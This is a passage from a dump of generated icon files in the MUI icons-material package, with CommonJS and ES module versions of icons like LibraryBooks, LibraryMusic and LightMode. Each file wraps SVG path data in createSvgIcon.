14H8V4h12zm-7-2h2v-3h3V9h-3V6h-2v3h-3v2h3z\"\n}, \"1\")], 'LibraryAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAddTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 16h12V4H8zm2-7h3V6h2v3h3v2h-3v3h-2v-3h-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 22h14v-2H4V6H2v14c0 1.1.9 2 2 2M8 2c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm12 14H8V4h12zm-7-2h2v-3h3V9h-3V6h-2v3h-3v2h3z\"\n}, \"1\")], 'LibraryAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryBooks.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 9H9V9h10zm-4 4H9v-2h6zm4-8H9V5h10z\"\n}), 'LibraryBooks');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryBooks.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 9H9V9h10zm-4 4H9v-2h6zm4-8H9V5h10z\"\n}), 'LibraryBooks');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryBooksOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zM10 9h8v2h-8zm0 3h4v2h-4zm0-6h8v2h-8z\"\n}), 'LibraryBooksOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryBooksOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zM10 9h8v2h-8zm0 3h4v2h-4zm0-6h8v2h-8z\"\n}), 'LibraryBooksOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryBooksRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6c-.55 0-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1m17-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2 9h-8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1m-4 4h-4c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1m4-8h-8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'LibraryBooksRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryBooksRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6c-.55 0-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1m17-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2 9h-8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1m-4 4h-4c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1m4-8h-8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'LibraryBooksRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryBooksSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v16h16v-2H4zm18-4H6v16h16zm-3 9H9V9h10zm-4 4H9v-2h6zm4-8H9V5h10z\"\n}), 'LibraryBooksSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryBooksSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v16h16v-2H4zm18-4H6v16h16zm-3 9H9V9h10zm-4 4H9v-2h6zm4-8H9V5h10z\"\n}), 'LibraryBooksSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryBooksTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 16h12V4H8zm2-10h8v2h-8zm0 3h8v2h-8zm0 3h4v2h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 22h14v-2H4V6H2v14c0 1.1.9 2 2 2M6 4v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2m14 12H8V4h12zM10 9h8v2h-8zm0 3h4v2h-4zm0-6h8v2h-8z\"\n}, \"1\")], 'LibraryBooksTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryBooksTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 16h12V4H8zm2-10h8v2h-8zm0 3h8v2h-8zm0 3h4v2h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 22h14v-2H4V6H2v14c0 1.1.9 2 2 2M6 4v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2m14 12H8V4h12zM10 9h8v2h-8zm0 3h4v2h-4zm0-6h8v2h-8z\"\n}, \"1\")], 'LibraryBooksTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryMusic.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2 5h-3v5.5c0 1.38-1.12 2.5-2.5 2.5S10 13.88 10 12.5s1.12-2.5 2.5-2.5c.57 0 1.08.19 1.5.51V5h4zM4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}), 'LibraryMusic');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryMusic.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2 5h-3v5.5c0 1.38-1.12 2.5-2.5 2.5S10 13.88 10 12.5s1.12-2.5 2.5-2.5c.57 0 1.08.19 1.5.51V5h4zM4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}), 'LibraryMusic');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryMusicOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zm-7.5-1c1.38 0 2.5-1.12 2.5-2.5V7h3V5h-4v5.51c-.42-.32-.93-.51-1.5-.51-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5M4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}), 'LibraryMusicOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryMusicOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zm-7.5-1c1.38 0 2.5-1.12 2.5-2.5V7h3V5h-4v5.51c-.42-.32-.93-.51-1.5-.51-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5M4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}), 'LibraryMusicOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryMusicRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-3 5h-2v5.37c0 1.27-.9 2.44-2.16 2.6-1.69.23-3.11-1.25-2.8-2.95.2-1.1 1.18-1.95 2.3-2.02.63-.04 1.2.16 1.66.51V6c0-.55.45-1 1-1h2c.55 0 1 .45 1 1s-.45 1-1 1M3 6c-.55 0-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1\"\n}), 'LibraryMusicRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryMusicRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-3 5h-2v5.37c0 1.27-.9 2.44-2.16 2.6-1.69.23-3.11-1.25-2.8-2.95.2-1.1 1.18-1.95 2.3-2.02.63-.04 1.2.16 1.66.51V6c0-.55.45-1 1-1h2c.55 0 1 .45 1 1s-.45 1-1 1M3 6c-.55 0-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1\"\n}), 'LibraryMusicRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryMusicSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H6v16h16zm-4 5h-3v5.5c0 1.38-1.12 2.5-2.5 2.5S10 13.88 10 12.5s1.12-2.5 2.5-2.5c.57 0 1.08.19 1.5.51V5h4zM4 6H2v16h16v-2H4z\"\n}), 'LibraryMusicSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryMusicSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H6v16h16zm-4 5h-3v5.5c0 1.38-1.12 2.5-2.5 2.5S10 13.88 10 12.5s1.12-2.5 2.5-2.5c.57 0 1.08.19 1.5.51V5h4zM4 6H2v16h16v-2H4z\"\n}), 'LibraryMusicSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryMusicTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 16h12V4H8zm4.5-6c.57 0 1.08.19 1.5.51V5h4v2h-3v5.5c0 1.38-1.12 2.5-2.5 2.5S10 13.88 10 12.5s1.12-2.5 2.5-2.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zm-7.5-1c1.38 0 2.5-1.12 2.5-2.5V7h3V5h-4v5.51c-.42-.32-.93-.51-1.5-.51-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5M2 6v14c0 1.1.9 2 2 2h14v-2H4V6z\"\n}, \"1\")], 'LibraryMusicTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryMusicTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 16h12V4H8zm4.5-6c.57 0 1.08.19 1.5.51V5h4v2h-3v5.5c0 1.38-1.12 2.5-2.5 2.5S10 13.88 10 12.5s1.12-2.5 2.5-2.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zm-7.5-1c1.38 0 2.5-1.12 2.5-2.5V7h3V5h-4v5.51c-.42-.32-.93-.51-1.5-.51-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5M2 6v14c0 1.1.9 2 2 2h14v-2H4V6z\"\n}, \"1\")], 'LibraryMusicTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Light.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 6.06V3h-2v3.06c-4.5.5-8 4.31-8 8.93C3 16.1 3.9 17 5.01 17H8c0 2.21 1.79 4 4 4s4-1.79 4-4h2.99c1.11 0 2.01-.9 2.01-2.01 0-4.62-3.5-8.43-8-8.93M12 15H5c0-3.86 3.14-7 7-7s7 3.14 7 7z\"\n}), 'Light');"
  },
  {
    "path": "packages/mui-icons-material/lib/Light.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 6.06V3h-2v3.06c-4.5.5-8 4.31-8 8.93C3 16.1 3.9 17 5.01 17H8c0 2.21 1.79 4 4 4s4-1.79 4-4h2.99c1.11 0 2.01-.9 2.01-2.01 0-4.62-3.5-8.43-8-8.93M12 15H5c0-3.86 3.14-7 7-7s7 3.14 7 7z\"\n}), 'Light');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightMode.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5M2 13h2c.55 0 1-.45 1-1s-.45-1-1-1H2c-.55 0-1 .45-1 1s.45 1 1 1m18 0h2c.55 0 1-.45 1-1s-.45-1-1-1h-2c-.55 0-1 .45-1 1s.45 1 1 1M11 2v2c0 .55.45 1 1 1s1-.45 1-1V2c0-.55-.45-1-1-1s-1 .45-1 1m0 18v2c0 .55.45 1 1 1s1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1M5.99 4.58c-.39-.39-1.03-.39-1.41 0-.39.39-.39 1.03 0 1.41l1.06 1.06c.39.39 1.03.39 1.41 0s.39-1.03 0-1.41zm12.37 12.37c-.39-.39-1.03-.39-1.41 0-.39.39-.39 1.03 0 1.41l1.06 1.06c.39.39 1.03.39 1.41 0 .39-.39.39-1.03 0-1.41zm1.06-10.96c.39-.39.39-1.03 0-1.41-.39-.39-1.03-.39-1.41 0l-1.06 1.06c-.39.39-.39 1.03 0 1.41s1.03.39 1.41 0zM7.05 18.36c.39-.39.39-1.03 0-1.41-.39-.39-1.03-.39-1.41 0l-1.06 1.06c-.39.39-.39 1.03 0 1.41s1.03.39 1.41 0z\"\n}), 'LightMode');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightMode.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5M2 13h2c.55 0 1-.45 1-1s-.45-1-1-1H2c-.55 0-1 .45-1 1s.45 1 1 1m18 0h2c.55 0 1-.45 1-1s-.45-1-1-1h-2c-.55 0-1 .45-1 1s.45 1 1 1M11 2v2c0 .55.45 1 1 1s1-.45 1-1V2c0-.55-.45-1-1-1s-1 .45-1 1m0 18v2c0 .55.45 1 1 1s1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1M5.99 4.58c-.39-.39-1.03-.39-1.41 0-.39.39-.39 1.03 0 1.41l1.06 1.06c.39.39 1.03.39 1.41 0s.39-1.03 0-1.41zm12.37 12.37c-.39-.39-1.03-.39-1.41 0-.39.39-.39 1.03 0 1.41l1.06 1.06c.39.39 1.03.39 1.41 0 .39-.39.39-1.03 0-1.41zm1.06-10.96c.39-.39.39-1.03 0-1.41-.39-.39-1.03-.39-1.41 0l-1.06 1.06c-.39.39-.39 1.03 0 1.41s1.03.39 1.41 0zM7.05 18.36c.39-.39.39-1.03 0-1.41-.39-.39-1.03-.39-1.41 0l-1.06 1.06c-.39.39-.39 1.03 0 1.41s1.03.39 1.41 0z\"\n}), 'LightMode');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightModeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 9c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3m0-2c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5M2 13h2c.55 0 1-.45 1-1s-.45-1-1-1H2c-.55 0-1 .45-1 1s.45 1 1 1m18 0h2c.55 0 1-.45 1-1s-.45-1-1-1h-2c-.55 0-1 .45-1 1s.45 1 1 1M11 2v2c0 .55.45 1 1 1s1-.45 1-1V2c0-.55-.45-1-1-1s-1 .45-1 1m0 18v2c0 .55.45 1 1 1s1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1M5.99 4.58c-.39-.39-1.03-.39-1.41 0-.39.39-.39 1.03 0 1.41l1.06 1.06c.39.39 1.03.39 1.41 0s.39-1.03 0-1.41zm12.37 12.37c-.39-.39-1.03-.39-1.41 0-.39.39-.39 1.03 0 1.41l1.06 1.06c.39.39 1.03.39 1.41 0 .39-.39.39-1.03 0-1.41zm1.06-10.96c.39-.39.39-1.03 0-1.41-.39-.39-1.03-.39-1.41 0l-1.06 1.06c-.39.39-.39 1.03 0 1.41s1.03.39 1.41 0zM7.05 18.36c.39-.39.39-1.03 0-1.41-.39-.39-1.03-.39-1.41 0l-1.06 1.06c-.39.39-.39 1.03 0 1.41s1.03.39 1.41 0z\"\n}), 'LightModeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightModeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 9c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3m0-2c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5M2 13h2c.55 0 1-.45 1-1s-.45-1-1-1H2c-.55 0-1 .45-1 1s.45 1 1 1m18 0h2c.55 0 1-.45 1-1s-.45-1-1-1h-2c-.55 0-1 .45-1 1s.45 1 1 1M11 2v2c0 .55.45 1 1 1s1-.45 1-1V2c0-.55-.45-1-1-1s-1 .45-1 1m0 18v2c0 .55.45 1 1 1s1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1M5.99 4.58c-.39-.39-1.03-.39-1.41 0-.39.39-.39 1.03 0 1.41l1.06 1.06c.39.39 1.03.39 1.41 0s.39-1.03 0-1.41zm12.37 12.37c-.39-.39-1.03-.39-1.41 0-.39.39-.39 1.03 0 1.41l1.06 1.06c.39.39 1.03.39 1.41 0 .39-.39.39-1.03 0-1.41zm1.06-10.96c.39-.39.39-1.03 0-1.41-.39-.39-1.03-.39-1.41 0l-1.06 1.06c-.39.39-.39 1.03 0 1.41s1.03.39 1.41 0zM7.05 18.36c.39-.39.39-1.03 0-1.41-.39-.39-1.03-.39-1.41 0l-1.06 1.06c-.39.39-.39 1.03 0 1.41s1.03.39 1.41 0z\"\n}), 'LightModeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightModeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5M2 13h2c.55 0 1-.45 1-1s-.45-1-1-1H2c-.55 0-1 .45-1 1s.45 1 1 1m18 0h2c.55 0 1-.45 1-1s-.45-1-1-1h-2c-.55 0-1 .45-1 1s.45 1 1 1M11 2v2c0 .55.45 1 1 1s1-.45 1-1V2c0-.55-.45-1-1-1s-1 .45-1 1m0 18v2c0 .55.45 1 1 1s1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1M5.99 4.58c-.39-.39-1.03-.39-1.41 0-.39.39-.39 1.03 0 1.41l1.06 1.06c.39.39 1.03.39 1.41 0s.39-1.03 0-1.41zm12.37 12.37c-.39-.39-1.03-.39-1.41 0-.39.39-.39 1.03 0 1.41l1.06 1.06c.39.39 1.03.39 1.41 0 .39-.39.39-1.03 0-1.41zm1.06-10.96c.39-.39.39-1.03 0-1.41-.39-.39-1.03-.39-1.41 0l-1.06 1.06c-.39.39-.39 1.03 0 1.41s1.03.39 1.41 0zM7.05 18.36c.39-.39.39-1.03 0-1.41-.39-.39-1.03-.39-1.41 0l-1.06 1.06c-.39.39-.39 1.03 0 1.41s1.03.39 1.41 0z\"\n}), 'LightModeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightModeRounded.mjs",
